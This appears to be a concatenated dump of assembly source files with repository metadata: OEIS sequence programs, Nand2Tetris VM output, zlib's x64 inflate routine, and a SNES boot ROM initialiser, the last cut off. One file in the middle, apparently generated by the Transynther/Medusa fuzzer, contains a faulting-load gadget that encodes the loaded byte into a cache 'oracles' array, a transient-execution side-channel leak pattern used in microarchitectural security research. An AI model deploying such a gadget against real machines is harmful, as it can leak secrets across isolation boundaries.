9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/296/A296028.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A296028: Characteristic function of primes in the nonmultiples of 3. ; 0,1,0,1,1,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,1 mov $2,$0 div $2,2 add $0,$2 cal $0,10051 ; Characteristic function of primes: 1 if n is prime, else 0. add $1,$0
44.222222
211
0.595477
d375498be36eccbe68c0cfd99f8ad3d9d2533eda
653
asm
Assembly
programs/oeis/181/A181640.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/181/A181640.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/181/A181640.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A181640: Partial sums of floor(n^2/5) (A118015). ; 0,0,0,1,4,9,16,25,37,53,73,97,125,158,197,242,293,350,414,486,566,654,750,855,970,1095,1230,1375,1531,1699,1879,2071,2275,2492,2723,2968,3227,3500,3788,4092,4412,4748,5100,5469,5856,6261,6684,7125,7585,8065,8565,9085,9625,10186,10769,11374,12001,12650,13322,14018,14738,15482,16250,17043,17862,18707,19578,20475,21399,22351,23331,24339,25375,26440,27535,28660,29815,31000,32216,33464,34744,36056,37400,38777,40188,41633,43112,44625,46173,47757,49377,51033,52725,54454,56221,58026,59869,61750,63670,65630 lpb $0 mov $2,$0 sub $0,1 seq $2,118015 ; a(n) = floor(n^2/5). add $1,$2 lpe mov $0,$1
59.363636
505
0.744257
69d81b16de88d92b047f3cb7b60b625e7c7f19ce
554
asm
Assembly
oeis/002/A002042.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/002/A002042.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/002/A002042.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A002042: a(n) = 7*4^n. ; 7,28,112,448,1792,7168,28672,114688,458752,1835008,7340032,29360128,117440512,469762048,1879048192,7516192768,30064771072,120259084288,481036337152,1924145348608,7696581394432,30786325577728,123145302310912,492581209243648,1970324836974592,7881299347898368,31525197391593472,126100789566373888,504403158265495552,2017612633061982208,8070450532247928832,32281802128991715328,129127208515966861312,516508834063867445248,2066035336255469780992,8264141345021879123968,33056565380087516495872 mov $1,4 pow $1,$0 mul $1,7 mov $0,$1
69.25
489
0.871841
6c10fd3fb4d556fe64f98ac0f9bb3a8bf812550e
479
asm
Assembly
programs/oeis/131/A131755.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/131/A131755.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/131/A131755.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A131755: a(n) = floor of the average of distances between consecutive positive divisors of n. Also, a(n) = floor((n-1)/(d(n)-1)), where d(n) = A000005(n). ; 1,2,1,4,1,6,2,4,3,10,2,12,4,4,3,16,3,18,3,6,7,22,3,12,8,8,5,28,4,30,6,10,11,11,4,36,12,12,5,40,5,42,8,8,15,46,5,24,9,16,10,52,7,18,7,18,19,58,5,60,20,12,10,21,9,66,13,22,9,70,6,72,24,14,15,25,11,78,8 add $0,1 mov $1,$0 cal $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n. sub $0,1 div $1,$0
53.222222
201
0.624217
20e92dd4cebdd33838e0b828b10bca8c625e760e
1,093
asm
Assembly
projects/07/MemoryAccess/StaticTest/StaticTest.asm
anArkitect/Nand2Tetris
061a2866705692269af00cf541b5fcedb1e1b93e
[ "MIT" ]
null
null
null
projects/07/MemoryAccess/StaticTest/StaticTest.asm
anArkitect/Nand2Tetris
061a2866705692269af00cf541b5fcedb1e1b93e
[ "MIT" ]
null
null
null
projects/07/MemoryAccess/StaticTest/StaticTest.asm
anArkitect/Nand2Tetris
061a2866705692269af00cf541b5fcedb1e1b93e
[ "MIT" ]
null
null
null
//push constant 111 @111 D=A @SP A=M M=D @SP M=M+1 //push constant 333 @333 D=A @SP A=M M=D @SP M=M+1 //push constant 888 @888 D=A @SP A=M M=D @SP M=M+1 //pop static 8 @SP AM=M-1 D=M @R15 M=D @16 D=A @8 D=A+D @R14 M=D @R15 D=M @R14 A=M M=D //pop static 3 @SP AM=M-1 D=M @R15 M=D @16 D=A @3 D=A+D @R14 M=D @R15 D=M @R14 A=M M=D //pop static 1 @SP AM=M-1 D=M @R15 M=D @16 D=A @1 D=A+D @R14 M=D @R15 D=M @R14 A=M M=D //push static 3 @16 D=A @3 A=A+D D=M @SP A=M M=D @SP M=M+1 //push static 1 @16 D=A @1 A=A+D D=M @SP A=M M=D @SP M=M+1 //sub @SP AM=M-1 D=M A=A-1 M=M-D //push static 8 @16 D=A @8 A=A+D D=M @SP A=M M=D @SP M=M+1 //add @SP AM=M-1 D=M A=A-1 M=M+D
9.033058
19
0.335773
41ec82392ed03d3a63bd1bb6f903b7fd0ffdca8b
10,187
asm
Assembly
src/minizip/contrib/masmx64/inffasx64.asm
bitcrystal/temp
b6b32e4fa9abfa4007320e571b8beced1e353ed9
[ "MIT" ]
16,989
2015-09-01T19:57:15.000Z
2022-03-31T23:54:00.000Z
src/minizip/contrib/masmx64/inffasx64.asm
bitcrystal/temp
b6b32e4fa9abfa4007320e571b8beced1e353ed9
[ "MIT" ]
12,562
2015-09-01T09:06:01.000Z
2022-03-31T22:26:20.000Z
src/minizip/contrib/masmx64/inffasx64.asm
bitcrystal/temp
b6b32e4fa9abfa4007320e571b8beced1e353ed9
[ "MIT" ]
3,707
2015-09-02T19:20:01.000Z
2022-03-31T17:06:14.000Z
; inffasx64.asm is a hand tuned assembler version of inffast.c - fast decoding ; version for AMD64 on Windows using Microsoft C compiler ; ; inffasx64.asm is automatically convert from AMD64 portion of inffas86.c ; inffasx64.asm is called by inffas8664.c, which contain more info. ; to compile this file, I use option ; ml64.exe /Flinffasx64 /c /Zi inffasx64.asm ; with Microsoft Macro Assembler (x64) for AMD64 ; ; This file compile with Microsoft Macro Assembler (x64) for AMD64 ; ; ml64.exe is given with Visual Studio 2005/2008/2010 and Windows WDK ; ; (you can get Windows WDK with ml64 for AMD64 from ; http://www.microsoft.com/whdc/Devtools/wdk/default.mspx for low price) ; .code inffas8664fnc PROC ; see http://weblogs.asp.net/oldnewthing/archive/2004/01/14/58579.aspx and ; http://msdn.microsoft.com/library/en-us/kmarch/hh/kmarch/64bitAMD_8e951dd2-ee77-4728-8702-55ce4b5dd24a.xml.asp ; ; All registers must be preserved across the call, except for ; rax, rcx, rdx, r8, r-9, r10, and r11, which are scratch. mov [rsp-8],rsi mov [rsp-16],rdi mov [rsp-24],r12 mov [rsp-32],r13 mov [rsp-40],r14 mov [rsp-48],r15 mov [rsp-56],rbx mov rax,rcx mov [rax+8], rbp ; /* save regs rbp and rsp */ mov [rax], rsp mov rsp, rax ; /* make rsp point to &ar */ mov rsi, [rsp+16] ; /* rsi = in */ mov rdi, [rsp+32] ; /* rdi = out */ mov r9, [rsp+24] ; /* r9 = last */ mov r10, [rsp+48] ; /* r10 = end */ mov rbp, [rsp+64] ; /* rbp = lcode */ mov r11, [rsp+72] ; /* r11 = dcode */ mov rdx, [rsp+80] ; /* rdx = hold */ mov ebx, [rsp+88] ; /* ebx = bits */ mov r12d, [rsp+100] ; /* r12d = lmask */ mov r13d, [rsp+104] ; /* r13d = dmask */ ; /* r14d = len */ ; /* r15d = dist */ cld cmp r10, rdi je L_one_time ; /* if only one decode left */ cmp r9, rsi jne L_do_loop L_one_time: mov r8, r12 ; /* r8 = lmask */ cmp bl, 32 ja L_get_length_code_one_time lodsd ; /* eax = *(uint *)in++ */ mov cl, bl ; /* cl = bits, needs it for shifting */ add bl, 32 ; /* bits += 32 */ shl rax, cl or rdx, rax ; /* hold |= *((uint *)in)++ << bits */ jmp L_get_length_code_one_time ALIGN 4 L_while_test: cmp r10, rdi jbe L_break_loop cmp r9, rsi jbe L_break_loop L_do_loop: mov r8, r12 ; /* r8 = lmask */ cmp bl, 32 ja L_get_length_code ; /* if (32 < bits) */ lodsd ; /* eax = *(uint *)in++ */ mov cl, bl ; /* cl = bits, needs it for shifting */ add bl, 32 ; /* bits += 32 */ shl rax, cl or rdx, rax ; /* hold |= *((uint *)in)++ << bits */ L_get_length_code: and r8, rdx ; /* r8 &= hold */ mov eax, [rbp+r8*4] ; /* eax = lcode[hold & lmask] */ mov cl, ah ; /* cl = this.bits */ sub bl, ah ; /* bits -= this.bits */ shr rdx, cl ; /* hold >>= this.bits */ test al, al jnz L_test_for_length_base ; /* if (op != 0) 45.7% */ mov r8, r12 ; /* r8 = lmask */ shr eax, 16 ; /* output this.val char */ stosb L_get_length_code_one_time: and r8, rdx ; /* r8 &= hold */ mov eax, [rbp+r8*4] ; /* eax = lcode[hold & lmask] */ L_dolen: mov cl, ah ; /* cl = this.bits */ sub bl, ah ; /* bits -= this.bits */ shr rdx, cl ; /* hold >>= this.bits */ test al, al jnz L_test_for_length_base ; /* if (op != 0) 45.7% */ shr eax, 16 ; /* output this.val char */ stosb jmp L_while_test ALIGN 4 L_test_for_length_base: mov r14d, eax ; /* len = this */ shr r14d, 16 ; /* len = this.val */ mov cl, al test al, 16 jz L_test_for_second_level_length ; /* if ((op & 16) == 0) 8% */ and cl, 15 ; /* op &= 15 */ jz L_decode_distance ; /* if (!op) */ L_add_bits_to_len: sub bl, cl xor eax, eax inc eax shl eax, cl dec eax and eax, edx ; /* eax &= hold */ shr rdx, cl add r14d, eax ; /* len += hold & mask[op] */ L_decode_distance: mov r8, r13 ; /* r8 = dmask */ cmp bl, 32 ja L_get_distance_code ; /* if (32 < bits) */ lodsd ; /* eax = *(uint *)in++ */ mov cl, bl ; /* cl = bits, needs it for shifting */ add bl, 32 ; /* bits += 32 */ shl rax, cl or rdx, rax ; /* hold |= *((uint *)in)++ << bits */ L_get_distance_code: and r8, rdx ; /* r8 &= hold */ mov eax, [r11+r8*4] ; /* eax = dcode[hold & dmask] */ L_dodist: mov r15d, eax ; /* dist = this */ shr r15d, 16 ; /* dist = this.val */ mov cl, ah sub bl, ah ; /* bits -= this.bits */ shr rdx, cl ; /* hold >>= this.bits */ mov cl, al ; /* cl = this.op */ test al, 16 ; /* if ((op & 16) == 0) */ jz L_test_for_second_level_dist and cl, 15 ; /* op &= 15 */ jz L_check_dist_one L_add_bits_to_dist: sub bl, cl xor eax, eax inc eax shl eax, cl dec eax ; /* (1 << op) - 1 */ and eax, edx ; /* eax &= hold */ shr rdx, cl add r15d, eax ; /* dist += hold & ((1 << op) - 1) */ L_check_window: mov r8, rsi ; /* save in so from can use it's reg */ mov rax, rdi sub rax, [rsp+40] ; /* nbytes = out - beg */ cmp eax, r15d jb L_clip_window ; /* if (dist > nbytes) 4.2% */ mov ecx, r14d ; /* ecx = len */ mov rsi, rdi sub rsi, r15 ; /* from = out - dist */ sar ecx, 1 jnc L_copy_two ; /* if len % 2 == 0 */ rep movsw mov al, [rsi] mov [rdi], al inc rdi mov rsi, r8 ; /* move in back to %rsi, toss from */ jmp L_while_test L_copy_two: rep movsw mov rsi, r8 ; /* move in back to %rsi, toss from */ jmp L_while_test ALIGN 4 L_check_dist_one: cmp r15d, 1 ; /* if dist 1, is a memset */ jne L_check_window cmp [rsp+40], rdi ; /* if out == beg, outside window */ je L_check_window mov ecx, r14d ; /* ecx = len */ mov al, [rdi-1] mov ah, al sar ecx, 1 jnc L_set_two mov [rdi], al inc rdi L_set_two: rep stosw jmp L_while_test ALIGN 4 L_test_for_second_level_length: test al, 64 jnz L_test_for_end_of_block ; /* if ((op & 64) != 0) */ xor eax, eax inc eax shl eax, cl dec eax and eax, edx ; /* eax &= hold */ add eax, r14d ; /* eax += len */ mov eax, [rbp+rax*4] ; /* eax = lcode[val+(hold&mask[op])]*/ jmp L_dolen ALIGN 4 L_test_for_second_level_dist: test al, 64 jnz L_invalid_distance_code ; /* if ((op & 64) != 0) */ xor eax, eax inc eax shl eax, cl dec eax and eax, edx ; /* eax &= hold */ add eax, r15d ; /* eax += dist */ mov eax, [r11+rax*4] ; /* eax = dcode[val+(hold&mask[op])]*/ jmp L_dodist ALIGN 4 L_clip_window: mov ecx, eax ; /* ecx = nbytes */ mov eax, [rsp+92] ; /* eax = wsize, prepare for dist cmp */ neg ecx ; /* nbytes = -nbytes */ cmp eax, r15d jb L_invalid_distance_too_far ; /* if (dist > wsize) */ add ecx, r15d ; /* nbytes = dist - nbytes */ cmp dword ptr [rsp+96], 0 jne L_wrap_around_window ; /* if (write != 0) */ mov rsi, [rsp+56] ; /* from = window */ sub eax, ecx ; /* eax -= nbytes */ add rsi, rax ; /* from += wsize - nbytes */ mov eax, r14d ; /* eax = len */ cmp r14d, ecx jbe L_do_copy ; /* if (nbytes >= len) */ sub eax, ecx ; /* eax -= nbytes */ rep movsb mov rsi, rdi sub rsi, r15 ; /* from = &out[ -dist ] */ jmp L_do_copy ALIGN 4 L_wrap_around_window: mov eax, [rsp+96] ; /* eax = write */ cmp ecx, eax jbe L_contiguous_in_window ; /* if (write >= nbytes) */ mov esi, [rsp+92] ; /* from = wsize */ add rsi, [rsp+56] ; /* from += window */ add rsi, rax ; /* from += write */ sub rsi, rcx ; /* from -= nbytes */ sub ecx, eax ; /* nbytes -= write */ mov eax, r14d ; /* eax = len */ cmp eax, ecx jbe L_do_copy ; /* if (nbytes >= len) */ sub eax, ecx ; /* len -= nbytes */ rep movsb mov rsi, [rsp+56] ; /* from = window */ mov ecx, [rsp+96] ; /* nbytes = write */ cmp eax, ecx jbe L_do_copy ; /* if (nbytes >= len) */ sub eax, ecx ; /* len -= nbytes */ rep movsb mov rsi, rdi sub rsi, r15 ; /* from = out - dist */ jmp L_do_copy ALIGN 4 L_contiguous_in_window: mov rsi, [rsp+56] ; /* rsi = window */ add rsi, rax sub rsi, rcx ; /* from += write - nbytes */ mov eax, r14d ; /* eax = len */ cmp eax, ecx jbe L_do_copy ; /* if (nbytes >= len) */ sub eax, ecx ; /* len -= nbytes */ rep movsb mov rsi, rdi sub rsi, r15 ; /* from = out - dist */ jmp L_do_copy ; /* if (nbytes >= len) */ ALIGN 4 L_do_copy: mov ecx, eax ; /* ecx = len */ rep movsb mov rsi, r8 ; /* move in back to %esi, toss from */ jmp L_while_test L_test_for_end_of_block: test al, 32 jz L_invalid_literal_length_code mov dword ptr [rsp+116], 1 jmp L_break_loop_with_status L_invalid_literal_length_code: mov dword ptr [rsp+116], 2 jmp L_break_loop_with_status L_invalid_distance_code: mov dword ptr [rsp+116], 3 jmp L_break_loop_with_status L_invalid_distance_too_far: mov dword ptr [rsp+116], 4 jmp L_break_loop_with_status L_break_loop: mov dword ptr [rsp+116], 0 L_break_loop_with_status: ; /* put in, out, bits, and hold back into ar and pop esp */ mov [rsp+16], rsi ; /* in */ mov [rsp+32], rdi ; /* out */ mov [rsp+88], ebx ; /* bits */ mov [rsp+80], rdx ; /* hold */ mov rax, [rsp] ; /* restore rbp and rsp */ mov rbp, [rsp+8] mov rsp, rax mov rsi,[rsp-8] mov rdi,[rsp-16] mov r12,[rsp-24] mov r13,[rsp-32] mov r14,[rsp-40] mov r15,[rsp-48] mov rbx,[rsp-56] ret 0 ; : ; : "m" (ar) ; : "memory", "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", ; "%r8", "%r9", "%r10", "%r11", "%r12", "%r13", "%r14", "%r15" ; ); inffas8664fnc ENDP ;_TEXT ENDS END
25.65995
112
0.53156
de2d55cfa73b5c3456f21e781da0d9de18ccd65c
6,736
asm
Assembly
Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0xca.log_21829_1547.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0xca.log_21829_1547.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0xca.log_21829_1547.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x647a, %rsi lea addresses_WC_ht+0xe1fa, %rdi nop nop xor %r10, %r10 mov $112, %rcx rep movsw nop nop sub $4691, %r12 lea addresses_normal_ht+0x14dfa, %rsi lea addresses_WT_ht+0x13c4a, %rdi nop nop nop add $19513, %r12 mov $42, %rcx rep movsb nop nop inc %rdi lea addresses_UC_ht+0xf6e, %rbp nop nop nop nop add %rcx, %rcx vmovups (%rbp), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %rsi nop nop nop xor $58544, %r12 lea addresses_normal_ht+0x1a9fa, %rsi lea addresses_normal_ht+0x139fa, %rdi clflush (%rsi) nop nop nop nop nop and $58116, %r8 mov $11, %rcx rep movsb nop nop nop nop xor $60112, %rcx lea addresses_UC_ht+0x31fa, %rsi lea addresses_WT_ht+0x86fa, %rdi nop nop nop nop and %r12, %r12 mov $89, %rcx rep movsl nop inc %r10 lea addresses_WC_ht+0x19cba, %rcx nop nop nop sub $34181, %r10 movups (%rcx), %xmm4 vpextrq $1, %xmm4, %rdi nop nop nop sub %r8, %r8 lea addresses_A_ht+0x1077a, %r8 nop nop cmp $61251, %rcx movups (%r8), %xmm4 vpextrq $1, %xmm4, %rbp nop nop nop xor %rsi, %rsi lea addresses_WC_ht+0x1e1aa, %rsi lea addresses_WT_ht+0x14dfa, %rdi nop nop nop nop nop and %rdx, %rdx mov $17, %rcx rep movsw nop nop xor %rdi, %rdi lea addresses_A_ht+0x81fa, %r12 nop nop nop xor $8385, %rcx movb (%r12), %r10b nop nop nop nop nop and $34231, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r8 push %rbx push %rdi push %rdx // Load lea addresses_WT+0xedfa, %rbx clflush (%rbx) nop nop nop nop cmp $3640, %rdi movb (%rbx), %r10b nop nop nop nop add $59585, %r10 // Faulty Load lea addresses_A+0xa9fa, %r12 nop add $13923, %rdx mov (%r12), %rbx lea oracles, %r11 and $0xff, %rbx shlq $12, %rbx mov (%r11,%rbx,1), %rbx pop %rdx pop %rdi pop %rbx pop %r8 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_A'}, 'OP': 'LOAD'} {'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': True, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'44': 8, '48': 13, '47': 117, '00': 21356, 'e5': 79, 'd0': 1, 'e6': 254, '80': 1} 00 00 00 00 00 00 00 00 00 00 00 47 e5 47 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 e5 00 00 00 00 00 00 00 00 00 e5 e5 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 e5 e5 e5 e5 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 e5 00 00 00 00 00 00 00 00 00 e5 e5 e5 e5 e5 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 e5 e5 e5 47 e5 e5 47 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 e5 e5 e5 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.267016
2,999
0.65766
20c7bf54e432cc6883633cccc10fa50f851d503c
440
asm
Assembly
oeis/052/A052979.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/052/A052979.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/052/A052979.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A052979: Expansion of (1-x)(1+x)/(1-2*x-3*x^2+2*x^4). ; Submitted by Christian Krause ; 1,2,6,18,52,154,452,1330,3912,11506,33844,99546,292800,861226,2533164,7450914,21915720,64461730,189604292,557691946,1640365328,4824883034,14191653468,41742572146,122779374040,361136698450,1062228212084 mov $2,1 lpb $0 sub $0,1 add $3,1 add $1,$3 mov $5,$4 mov $4,$2 mov $2,$3 mul $2,2 add $4,$1 add $5,$4 mov $3,$5 lpe mov $0,$2
23.157895
203
0.679545
7ae5a1e8af24519b2adc172b36d29a99ed995581
3,299
asm
Assembly
example/test.asm
mtshr/inflate-65c816
a05a3b1e222ea5fc2e422e342b32302c44f04dcf
[ "Zlib" ]
2
2022-03-15T10:22:13.000Z
2022-03-16T14:38:25.000Z
example/test.asm
mtshr/inflate-65c816
a05a3b1e222ea5fc2e422e342b32302c44f04dcf
[ "Zlib" ]
null
null
null
example/test.asm
mtshr/inflate-65c816
a05a3b1e222ea5fc2e422e342b32302c44f04dcf
[ "Zlib" ]
null
null
null
.INCLUDE "./test.inc" .INCLUDE "../src/inflate.inc" .BANK 0 SLOT 0 .SECTION "InterruptRoutines" EndOfInterrupt: rti .ENDS /**************************************************************************** Boot ROM Routines ****************************************************************************/ .BANK 0 SLOT 0 .SECTION "BootingROMRoutine" FORCE BootROM: sei clc xce rep #$29 sep #$10 lda #$1FFF tcs phk plb lda #$4200 tcd phd tay ; Y = #$(00)00 sty $00 ; disable IRQ, NMI and auto-joypad reading ldx #$FF stx $01 ; IO Port stz $0B ; disable DMA and HDMA ;ldx #$01 sty $0D ; slow ROM lsr a tcd ; Direct Register = $2100 ldx #$80 ;\ force blank stx $00 ;/ Screen display register sty $01 ; $2101 : OAM Size and character address stz $02 ; $2102 - $2103 : OAM address and priority stz $05 ; $2105 : Screen mode; $2106 : mosaic setting stz $07 ;\ stz $09 ;/ BG tilemap address and size stz $0B ; BG character address ldx.b #$2114 - $210D - sty $0D,x ;\ sty $0D,x ;/ BG offsets sty $1B,x ;\ sty $1B,x ;/ mode7 matrix and CGRAM dex bpl - ldx #$80 stx $15 stz $16 ; VRAM address sty $1A ; mode7 settings ldx.b #$2133 - $2123 - sty $23,x dex bpl - lda #$420B tcd ldx #$7E ;\ Initialize WRAM of bank $7E stx $F9 ; | stz $F7 ; | lda #$1FF0 ; | avoid initializing the stack in order to return from the routine jsr InitializeWRAMwithDMA ; | lda #$2000 ; | sta $F7 ; | lda #$E000 ; | jsr InitializeWRAMwithDMA ;/ inc $F9 ;\ Initialize WRAM of bank $7F lda #$0000 ; | pha ; | push $0000 for direct register jsr InitializeWRAMwithDMA ;/ lda #$1809 ;\ sta $F5 ; | Clear VRAM using $7F:0000 as a source. The transfer size is 0x10000 bytes. ;ldx #$01 ; | X = 1 here stx $00 ;/ lda #$2208 ;\ sta $F5 ; | Clear CGRAM lda #$0200 ; | sta $FA ; | stx $00 ;/ pld ; D = $0000 